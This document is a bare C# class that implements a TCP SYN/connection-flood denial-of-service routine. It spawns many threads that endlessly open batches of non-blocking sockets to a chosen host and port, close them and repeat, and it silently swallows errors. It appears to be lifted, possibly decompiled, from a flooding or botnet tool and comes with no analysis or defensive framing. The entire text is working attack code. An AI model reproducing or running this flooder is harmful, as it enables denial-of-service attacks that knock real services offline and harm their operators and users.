1. class Syn
  2. {
  3. private static ThreadStart[] thrdstart;
  4. private static Thread[] thrd;
  5. public static string host;
  6. private static IPEndPoint ipend;
  7. public static int port;
  8. private static SendSyn[] sndsyn;
  9. public static int loc;
  10. public static int synint;
  11. public static void syner()
  12. {
  13. try
  14. {
  15. ipend = new IPEndPoint(Dns.GetHostEntry(host).AddressList[0], port);
  16. }
  17. catch
  18. {
  19. ipend = new IPEndPoint(IPAddress.Parse(host), port);
  20. }
  21. thrd = new Thread[synint];
  22. thrdstart = new ThreadStart[synint];
  23. sndsyn = new SendSyn[synint];
  24. for (int i = 0; i < synint; i++)
  25. {
  26. sndsyn[i] = new SendSyn(ipend, loc);
  27. thrdstart[i] = new ThreadStart(sndsyn[i].synthrd);
  28. thrd[i] = new Thread(thrdstart[i]);
  29. thrd[i].Start();
  30. }
  31. }
  32. public static void synstop()
  33. {
  34. for (int i = 0; i < synint; i++)
  35. {
  36. try
  37. {
  38. thrd[i].Abort();
  39. }
  40. catch
  41. {
  42. }
  43. }
  44. }
  45. private class SendSyn
  46. {
  47. private IPEndPoint synend;
  48. private Socket[] synsock;
  49. private int synint;
  50. public SendSyn(IPEndPoint ipEo, int ar)
  51. {
  52. synend = ipEo;
  53. synint = ar;
  54. }
  55. public void synrslt(IAsyncResult ar)
  56. {
  57. }
  58. public void synthrd()
  59. {
  60. int eye = 0;
  61. Label_0000:
  62. try
  63. {
  64. synsock = new Socket[synint];
  65. for (eye = 0; eye < synint; eye++)
  66. {
  67. synsock[eye] = new Socket(synend.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
  68. synsock[eye].Blocking = false;
  69. AsyncCallback async = new AsyncCallback(synrslt);
  70. synsock[eye].BeginConnect(synend, async, synsock[eye]);
  71. }
  72. Thread.Sleep(100);
  73. for (eye = 0; eye < synint; eye++)
  74. {
  75. if (synsock[eye].Connected)
  76. {
  77. synsock[eye].Disconnect(false);
  78. }
  79. synsock[eye].Close();
  80. synsock[eye] = null;
  81. }
  82. synsock = null;
  83. goto Label_0000;
  84. }
  85. catch
  86. {
  87. for (eye = 0; eye < synint; eye++)
  88. {
  89. try
  90. {
  91. if (synsock[eye].Connected)
  92. {
  93. synsock[eye].Disconnect(false);
  94. }
  95. synsock[eye].Close();
  96. synsock[eye] = null;
  97. }
  98. catch
  99. {
  100. }
  101. }
  102. goto Label_0000;
  103. }
  104. }
  105. }
  106. }